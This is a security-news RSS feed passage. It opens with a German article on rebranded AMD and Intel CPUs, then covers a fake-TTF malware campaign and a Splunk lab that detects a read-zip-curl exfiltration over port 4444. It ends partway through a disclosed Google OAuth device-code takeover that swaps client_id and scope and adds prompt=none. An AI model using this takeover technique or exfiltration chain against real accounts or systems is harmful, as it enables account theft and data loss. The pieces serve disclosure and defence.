<p>CPU-Hersteller haben begonnen, alte Chips wiederzuverwenden, jedoch auf eine Weise, die diese Entscheidung vor den Verbrauchern verschleiert. Die Käufer stehen vor der Frage, ob ihr Produktivitäts-Laptop tatsächlich neu ist – und entsprechend bepreist sein sollte – oder ob ältere Hardware zu einem Premiumpreis verkauft wird.</p>



<p><a href="https://www.pcwelt.de/article/3153092/ich-habe-sieben-jahre-alten-laptop-getestet-jetzt-stelle-ich-die-upgrade-zyklen-bei-pcs-in-frage.html" target="_blank" rel="noreferrer noopener">Wie ich bereits aufgezeigt habe</a>, liegt das Problem nicht in der tatsächlichen Wiederverwendung alter Chips; ältere Chips können auch heute noch vollkommen ausreichende Leistung bieten. Das Problem ist vielmehr, wie sie positioniert und preislich gestaltet sind. </p>



<p>Es gibt einfach keine einfache Möglichkeit, festzustellen, ob ein neuer Laptop einen neuen Prozessor enthält, und es scheint, als würden die Laptop-Hersteller dies ausnutzen. Intel ist davon nicht völlig ausgenommen, doch der eigentliche Übeltäter ist wahrscheinlich AMD, <a href="https://www.pcwelt.de/article/3152980/ryzen-5800x3d-ist-zurueck-warum-amd-ausgerechnet-jetzt-auf-alte-cpus-setzt.html" target="_blank" rel="noreferrer noopener">das kürzlich dafür kritisiert wurde, „neue“ Versionen mobiler Ryzen-Prozessoren auf den Markt gebracht zu haben, </a>die bereits vor mehreren Jahren veröffentlicht worden sind.</p>



<p>Jahrelang folgte die PC-Branche dem Beispiel von Intel, das mit den Core i3-, i5- und i7-Prozessoren – und schließlich auch mit dem i9 – Pionierarbeit bei der „Gut, Besser, Best“-Markenstrategie leistete. Doch als die Chips immer komplexer wurden – mit integrierter Grafik, mehreren Kernen und Threads sowie Turbo-Taktfrequenzen, die bei Bedarf zum Einsatz kamen –, hatte die PC-Hardware-Branche Schwierigkeiten, dies den Nutzern zu vermitteln. </p>



<p>Die Situation geriet so sehr außer Kontrolle, dass AMD quasi als Scherz (aber nicht wirklich) „Decoder-Räder“ herausbrachte, um dem Kunden besser zu erklären, welche Technik im Detail verbaut ist, siehe auch das folgende Beispiel zum Ryzen 5 7640U.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5a0813a38f8"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/image_054444.png" alt="" class="wp-image-3191958" width="1024" height="463" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure></div>



<p>Die im Dezember 2023 vorgestellte Laptop-Baureihe <a href="https://www.pcwelt.de/article/2164782/amd-neue-ryzen-8000-laptop-cpus-fur-ki-zukunft.html" target="_blank" rel="noreferrer noopener">AMD Ryzen 8000</a> ist da ein perfektes Beispiel: AMD erklärte damals, diese Chips seien „architektonisch auf eine Linie gebracht“ (genau genommen identisch) mit der mobilen Vorgänger-Serie Ryzen 7000 aus dem 2. Quartal 2023. Doch Anfang 2025 benannte AMD diese Chips in die „Ryzen-200“-Reihe um. Sie können den <a href="https://www.amd.com/en/products/processors/laptop/ryzen/7000-series/amd-ryzen-5-7640hs.html">Ryzen 5 7640HS</a> [Einführungsdatum: 30. April 2023] und den <a href="https://www.amd.com/en/products/processors/laptop/ryzen/200-series/amd-ryzen-9-270.html">Ryzen 9 270</a> selbst vergleichen: Beide basieren auf derselben Zen-4-Architektur.</p>



<p>Nun schreiben wir das Jahr 2026, und AMD hat erst letzten Monat sieben „neue“ Ryzen-200-Modelle auf den Markt gebracht, die vom <a href="https://www.amd.com/en/products/processors/laptop/ryzen/200-series/amd-ryzen-3-205.html">Ryzen 3 205</a> bis zum Ryzen 7 253 reichen. Auch hier kommt Zen 4 zum Einsatz – dieselbe Chip-Architektur, die AMD bereits im Januar 2023 eingeführt hatte. <a href="https://www.tweaktown.com/news/112571/amd-expands-ryzen-200-and-100-hawk-point-apu-lineup-with-11-new-skus/index.html">TweakTown</a> hat sogar beobachtet, wie AMD vier neue Ryzen-100-Chips hinzugefügt hat, die auf Zen-3-„Rembrandt“-Designs basieren, die bis ins Jahr 2022, also vier Jahre zurück, reichen. Neue Chips! Basierend auf vier Jahre alten Designs!</p>



<p>Intel ist jedoch nicht ganz aus dem Schneider. Intels „Core Ultra“-Marke für Laptops umfasst inzwischen auch <a href="https://www.pcwelt.de/article/2499763/intel-core-ultra-200s-arrow-lake-s-alles-was-sie-zum-start-der-neuen-desktop-cpus-wissen-sollten.html" target="_blank" rel="noreferrer noopener">Desktop-Chips</a>. Intel räumte ein, dass die Nachfrage nach seinen älteren Chips gestiegen ist, brachte jedoch ältere Hardware unter dem Deckmantel von „Updates“ mit Codenamen wie „Raptor Lake Refresh“ und „Arrow Lake Refresh“ wieder auf den Markt. Das ist meiner Meinung nach etwas ehrlicher.</p>



<p>In der Praxis hat all dies Auswirkungen. Ich habe <a href="https://lenovo.7eer.net/c/230135/217393/3786?u=https://www.lenovo.com/us/en/d/amd-ryzen-7/?msockid=09062f8591fc6f5118ba396290b86e71&amp;subid1=rss">eine Liste von Lenovo</a> gefunden, in der <a href="https://lenovo.7eer.net/c/230135/217393/3786?u=https://www.lenovo.com/us/en/d/amd-ryzen-7/?msockid=09062f8591fc6f5118ba396290b86e71&amp;subid1=rss">ThinkPads</a> mit einem Ryzen-250-Prozessor für Preise zwischen 900 und 1.000 US-Dollar angeboten werden. Ich hätte erwartet, dass ein drei Jahre alter Chip zu Schnäppchenpreisen angeboten würde, aber nein: 900 US-Dollar würde ich nicht als günstig bezeichnen, nicht im Vergleich zum Dell XPS 13 für 600 US-Dollar oder dem Apple MacBook Neo. </p>



<p>Die Laptops von Lenovo, das XPS 13 und das Neo verfügen alle über bescheidene Konfigurationen, von denen einige 8 GB RAM und kleine SSDs umfassen. Das Neo und das XPS nutzen jedoch moderne Chip-Designs <em>und</em> kosten weniger als die Lenovo-Laptops, die auf der älteren Ryzen-Architektur basieren. Das gefällt mir nicht.</p>



<p>Außerdem hasse ich die juristische Sprache, mit der Lenovo andeutet, dass diese Laptops über aktuelle Funktionen wie „KI-Erlebnisse“ und NPUs verfügen. Das tun sie zwar, allerdings mit mageren 16 TOPS. Es ist wie mit diesen rudimentären Notreifen, mit denen manche Autos heutzutage ausgestattet sind. Es gibt einen Reifen! Aber dann doch nicht so wirklich.</p>



<p>Generell halte ich es für großartig, wie sich Produktivitäts-Laptops weiterentwickelt haben. Ich kann einen in die Hand nehmen und feststellen, wie leicht er sich anfühlt; die Anordnung der Anschlüsse; wie scharf und klar die neueren Displays mit hoher Bildwiederholfrequenz und hoher Auflösung wirken. Sie wecken den Wunsch, sie abzustellen, hochzufahren und sofort mit der Erledigung der To-do-Liste loszulegen. Die technischen Daten sind stimmig.</p>



<p>Bis auf eine. Ich bin durchaus für Vielfalt bei Laptops, aber ich vertraue auch darauf, dass die Unterschiede zwischen ihnen klar kommuniziert werden. Zunehmend bewirkt der Name des Prozessors jedoch das Gegenteil: Er verschleiert, anstatt Klarheit zu schaffen.</p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake TTF files deliver stealthy malware in global phishing campaign]]></title>
<description><![CDATA[Threat actors are now abusing an ordinary font file to deliver low-detection malware capable of stealing credentials and establishing persistence on compromised Windows systems.



According to a new research from Fortinet’s FortiGuard Labs, a global phishing campaign is actively using heavily ob...]]></description>
<link>https://tsecurity.de/de/3675510/it-security-nachrichten/fake-ttf-files-deliver-stealthy-malware-in-global-phishing-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675510/it-security-nachrichten/fake-ttf-files-deliver-stealthy-malware-in-global-phishing-campaign/</guid>
<pubDate>Fri, 17 Jul 2026 10:54:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Threat actors are now abusing an ordinary font file to deliver low-detection malware capable of stealing credentials and establishing persistence on compromised Windows systems.</p>



<p class="wp-block-paragraph">According to a new research from Fortinet’s FortiGuard Labs, a global phishing campaign is actively using heavily obfuscated JavaScript and a Lua-based loader posing as a TrueType Font (TTF) file to evade security and drop RATs and infostealers.</p>



<p class="wp-block-paragraph">A TTF file is a standard font file used by operating systems and applications to display text.</p>



<p class="wp-block-paragraph">The campaign has been deploying malware families such as <a href="https://www.csoonline.com/article/573813/malware-builder-uses-fresh-tactics-to-hit-victims-with-agent-tesla-rat.html">Agent Tesla</a>, Remcos, <a href="https://www.csoonline.com/article/4064720/xworm-campaign-shows-a-shift-toward-fileless-malware-and-in-memory-evasion-tactics.html">XWorm</a>, and a Snake Keylogger variant known as Best Private LOGGER, since at least late March 2026. “In these attacks, the threat actor impersonates several well-known companies, using the guise of business cooperation to launch phishing attacks,” FortiGuard researchers said in a blog <a href="https://www.fortinet.com/blog/threat-research/the-ttf-trap-a-global-campaign-of-a-low-detection-lua-loader" target="_blank" rel="noreferrer noopener">post</a>.</p>



<p class="wp-block-paragraph">Talking about how a new attack technique seems to still rely on conventional phishing tricks, <a href="https://www.linkedin.com/in/shane-barney-69026528/" target="_blank" rel="noreferrer noopener">Shane Barney</a>, CISO at Keeper Security, said, “The most sophisticated technical evasion in the world still starts the same way: someone opens an email from what looks like a trusted company and acts on it.”</p>



<p class="wp-block-paragraph">“The obfuscation layers, the Lua loader disguised as a font file, the fileless execution chain – all of it exists to survive detection after that human decision has already been made, and organizations would do well to keep that in their sightline,” he added.</p>



<h2 class="wp-block-heading">Business and payment-themed phishing lures used</h2>



<p class="wp-block-paragraph">According to the researchers, victims receive phishing emails impersonating well-known companies and using business collaboration or payment-related themes to trick recipients into opening compressed archives. These archives contain the obfuscated JScript that establishes persistence before dropping either a legitimate Autolt executable or a LuaJIT interpreter, along with a malicious script packaged within a .ttf extension.</p>



<p class="wp-block-paragraph">The fake font file functions as a Lua-based loader that runs multiple de-obfuscation steps before decrypting and executing shellcode directly in memory.</p>



<p class="wp-block-paragraph">“Security controls cannot treat a file extension as proof of file type or intent,” said <a href="https://www.linkedin.com/in/jason-soroko-19b41920/" target="_blank" rel="noreferrer noopener">Jason Soroko</a>, senior fellow at Sectigo. “Each component (of the campaign) may appear less suspicious when reviewed alone, while the combined sequence leads to in-memory execution of RATs and infostealers.”</p>



<p class="wp-block-paragraph">Some of the new variants, the researchers pointed out, are getting more sophisticated by introducing segmented shellcode encryption, Vectored Exception Handler (VEH)- based runtime decryption, AMSI and ETW bypasses, API unhooking, and other anti-analysis techniques designed to evade endpoint defenses.</p>



<p class="wp-block-paragraph">The final malware payload is delivered using <a href="https://www.csoonline.com/article/4125567/this-stealthy-windows-rat-holds-live-conversations-with-its-operators.html?utm=hybrid_search#:~:text=This%20PowerShell%20loader%20decodes%20and%20executes%20shellcode%20generated%20using%20Donut%2C%20an%20open-source%20framework%20commonly%20used%20to%20convert.%20NET%20assemblies%20into%20position-independent%20shellcode.">Donut</a> shellcode, allowing execution without writing the payload to disk.</p>



<p class="wp-block-paragraph">Protection requires targeted mitigations and routine security hygiene</p>



<p class="wp-block-paragraph">Fortinet’s findings confirm the attackers’ endgame to be stealing credentials and maintaining long-term access. The malware families observed, including Agent Tesla, Remcos, XWorm, and Best Private LOGGER, are all focused on credential theft, surveillance, or remote access.</p>



<p class="wp-block-paragraph">Barney said organizations should resist focusing exclusively on the loader’s technical sophistication and instead strengthen the systems attackers eventually want to compromise.</p>



<p class="wp-block-paragraph">In his opinion, identity and access controls are what it comes down to, as signature-based detection often fails against the loader sophistication of this grade. “Limiting what any given set of credentials can reach, enforcing least privilege, requiring re-authentication for sensitive systems, and monitoring for anomalous session behavior will not stop every phishing email from landing, but they significantly constrain what an attacker can accomplish after one succeeds,” he explained.</p>



<p class="wp-block-paragraph">Soroko, on the other hand, recommends focusing controls on the technical indicators. He urged organizations to restrict Windows Script Host, Autolt, and LauJIT wherever they are not operationally required, monitor for behaviors such as process injection, remote memory allocation, and shellcode execution, and use Fortinet’s published indicators for threat hunting.</p>



<p class="wp-block-paragraph">The indicators of compromise (IOCs) Fortinet shared include the command-and-control (C2) addresses, file hashes, and filenames.</p>



<p class="wp-block-paragraph">Soroko warned against relying solely on hashes or C2 infrastructure because the loader has changed over time. “The stronger approach is to detect the stable behavior across versions, then test controls against the complete chain,” he said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate]]></title>
<description><![CDATA[No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM LabMost detection conten...]]></description>
<link>https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.</em></p><p><em>By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM Lab</em></p><p>Most detection content is about outsiders — brute force, phishing, exploits. The attacker is external, the activity is obviously malicious, and the logs light up.</p><p>Insider threats are the opposite. The account is valid. The access is authorized. Every individual action, viewed on its own, looks like normal work. There’s no single event you can alert on. And that’s exactly what makes them the hardest thing a SOC has to catch.</p><p>I built a Splunk lab to detect one end to end. This is how it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6GmRtez2BHftjN-yNHsBWw.png"><figcaption><em>The Meridian SOC dashboard — six live panels built in Splunk, pulling from the same data this insider threat scenario generated.</em></figcaption></figure><p><strong>The scenario</strong></p><p>A fictional e-commerce company, Meridian Commerce Inc. A Finance account on a Windows 11 workstation (FIN-WKS-04) with legitimate access to customer payment data. The insider does three things:</p><ol><li><strong>Reads</strong> the payment file C:\CustomerExports\payments_export.csv. This account is allowed to. <em>(Event ID 4663)</em></li><li><strong>Compresses</strong> it with PowerShell’s Compress-Archive. Zipping a file isn't malicious. <em>(Event ID 4104)</em></li><li><strong>Exfiltrates</strong> it to an external host with curl.exe over port 4444. One outbound connection among thousands. <em>(Event ID 5156)</em></li></ol><p>Read, zip, upload. Three ordinary actions. No perimeter control catches this because nothing is breached. No auth alert fires because the login is valid. The attack lives entirely inside legitimate behavior. The only way to see it is to stop looking at events individually and start looking at the pattern they form together.</p><p><strong>Problem 1 — the workstation logs almost nothing by default</strong></p><p>Before correlating anything, I found the telemetry wasn’t even there. A default Windows 11 workstation doesn’t log these events. Three audit subcategories must be explicitly enabled: File System (4663) plus a SACL on the folder, PowerShell Script Block Logging (4104), and Filtering Platform Connection (5156). Without them, the read, the compression, and the exfiltration are all invisible. If these aren’t on <em>before</em> the attack, there’s nothing to detect after — the evidence was never written.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1LoptNEb58AKqbhooSulhA.png"><figcaption><em>The file-read stage caught in Splunk via Event ID 4663 — the first of three subcategories that are disabled by default on a stock Windows 11 workstation.</em></figcaption></figure><p><strong>Problem 2 — the compression step tried to hide</strong></p><p>I expected to catch the compression via Event ID 4688 (Process Creation). It never fired. Compress-Archive is a native PowerShell cmdlet — it runs inside the existing PowerShell engine and doesn't spawn a child process, so there's no 4688. Any detection relying only on process-creation auditing is blind to PowerShell-native staging. That's why Script Block Logging (4104) matters — it captures the cmdlet with full parameter bindings, including exact source and destination paths.</p><p><strong>The detection — correlating three stages into one incident</strong></p><pre>index=windows (EventCode=4663 Object_Name="*CustomerExports*")<br>    OR (EventCode=4104 _raw="*CompressFilesHelper*")<br>    OR (EventCode=5156 Destination_Port=4444)<br>| transaction host maxspan=30m<br>| where eventcount &gt;= 3<br>| table _time, host, eventcount, duration</pre><p>The three OR conditions each match one stage. transaction host maxspan=30m groups events on the same host within a 30-minute window into one logical unit — the line that turns scattered events into a story. where eventcount &gt;= 3 only fires when all three stages hit the same host inside that window. One stage, nothing. Two, nothing. All three in sequence — that's a kill chain, not coincidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChuETHBGAxo0WqS68UXnKA.png"><figcaption><em>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04. Three innocent-looking actions revealed as one exfiltration chain.</em></figcaption></figure><p>Result: <strong>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04.</strong> One alert with the full narrative instead of 27 disconnected log lines nobody would piece together manually.</p><p><strong>What happens after the alert fires</strong></p><p>Detecting the chain is only step one. Here’s how I’d actually triage this in a live SOC:</p><p><strong>Severity:</strong> High. Confirmed customer PII touched, compressed, and sent to an external host — this isn’t “suspicious,” it’s a completed exfiltration, not an attempt.</p><p><strong>First move:</strong> Isolate FIN-WKS-04 from the network immediately to stop any further outbound activity, and disable the account pending investigation — not delete it, since the account and its full history are now evidence.</p><p><strong>Scope the blast radius:</strong> Pull every file that account touched in the same session window, not just the one flagged file — the transaction proves this exfiltration; it doesn’t rule out others in the same session.</p><p><strong>Escalate, don’t conclude:</strong> This is exactly the kind of finding that gets handed to IR and HR jointly, not closed solo by a SOC analyst. My job at this stage is to hand over a clean timeline, not decide intent — that’s a human resources and legal call, not a technical one.</p><p><strong>Tune after, don’t tune during:</strong> The 30-minute window and the 3-event threshold both need validation against real traffic before this becomes a production rule — a busy analyst doing legitimate bulk export-and-archive work could trip the same pattern. That tuning is exactly what separates a lab detection from a production one.</p><p>That last part matters more than the query itself. A rule that fires is only useful if someone downstream knows what to do the moment it does.</p><p><em>This is Phase 5 of a full Splunk Enterprise SIEM lab I built from scratch — 6 OWASP Top 10 detections, a live SOC dashboard, incident reports, and two documented detection gaps. Full lab and all SPL: github.com/ronakmishra28/meridian-soc-detection-lab</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=aeac34ea7190" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate-aeac34ea7190">How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking]]></title>
<description><![CDATA[TL;DRThis one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.Two bugs stack together. First, ...]]></description>
<link>https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:37 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>TL;DR</h3><p>This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.</p><p>Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.</p><p>Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html#9-disclosure-timeline">disclosure timeline</a> below.</p><h3>1. Intro</h3><p>Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.</p><p>It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.</p><h3>2. The Device Authorization Grant</h3><p>Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:</p><ol><li>The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).</li><li>The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on <em>any other</em> browser.</li><li>The user opens that URL on their phone or laptop, types the code, signs in, and consents.</li><li>Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.</li></ol><p>The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol <em>already</em> expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser <em>the legitimate device owner</em> is sitting at.</p><p>That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.</p><h3>3. Setting Up YouTube TV on a PS5</h3><p>I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qmQssZXzIn_0kJeh.png"><figcaption><em>The YouTube TV “Add your Google Account” screen: a QR code and a short user_code, with instructions to finish sign-in on a phone.</em></figcaption></figure><p>Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:</p><ul><li>POST https://oauth2.googleapis.com/device/code → device_code + user_code.</li><li>The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.</li><li>My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.</li><li>The PS5’s next poll returning an access token.</li></ul><p>Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.</p><h3>4. The Transferable Session</h3><p>The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into <em>my</em> device, not theirs.</p><p>RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re <em>not</em> about to lose control of.</p><p>I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.</p><p>But the device-code page asks for an email address <em>before</em> showing consent. Entering one forwards the browser to a different endpoint entirely: a <em>challenge</em> page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending <em>that</em> URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.</p><p>TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.</p><p><strong>Vulnerability #1: the device-code sign-in session is transferable via URL.</strong> RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.</p><p>That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.</p><h3>5. Breaking the Scope Fence</h3><p>A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per <a href="https://developers.google.com/identity/protocols/oauth2/limited-input-device">Google’s own docs</a>: <em>“This OAuth 2.0 flow supports a limited set of scopes.”</em> The complete list:</p><ul><li>openid, email, profile</li><li>youtube, youtube.readonly</li><li>drive.appdata, drive.file (app-scoped Drive only, not full Drive)</li></ul><p>No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.</p><p>So I looked again at the transferable challenge URL:</p><pre>accounts.google.com/v3/signin/challenge/…<br>  ?TL=APouJz6T…              &lt;- encrypted session state<br>  &amp;response_type=none<br>  &amp;client_id=861556708454-…   &lt;- YouTube TV<br>  &amp;scope=…                    &lt;- YouTube scopes</pre><p>Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is <strong>no </strong><strong>redirect_uri anywhere in the URL</strong>. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.</p><p>The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.</p><p>I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own <strong>Cloud SDK</strong> client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said <strong>Google Cloud SDK</strong>, listing the elevated scopes. Approving it, my polling script, still polling with the <em>original</em> YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.</p><p><strong>Vulnerability #2: the server never validates that the </strong><strong>client_id and </strong><strong>scope in the authorization URL match what the </strong><strong>device_code was actually issued for.</strong></p><p>Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*4UwF2sE4BZuwRTMM9aJo9w.gif"><figcaption><em>PoC: device-code hijack escalated from YouTube TV to Google Cloud SDK scopes</em></figcaption></figure><p>The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.</p><h3>6. From Consent Screen to One Click</h3><p>I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the <em>thing being consented to</em> was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.</p><p>OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.</p><p>In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.</p><p>Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.</p><p><strong>One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*hHiWXmNkC5aWkKKDsmLD9w.gif"><figcaption><em>PoC: prompt=none one-click bypass against a third-party client</em></figcaption></figure><p>The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.</p><h3>7. Why the Victim Never Notices</h3><p>The natural follow-up: surely <em>something</em> surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.</p><p><strong>Audit trail pollution.</strong> myaccount.google.com/connections shows the <em>original</em> client bound to the device_code, YouTube TV, never the substituted application. To find any trace 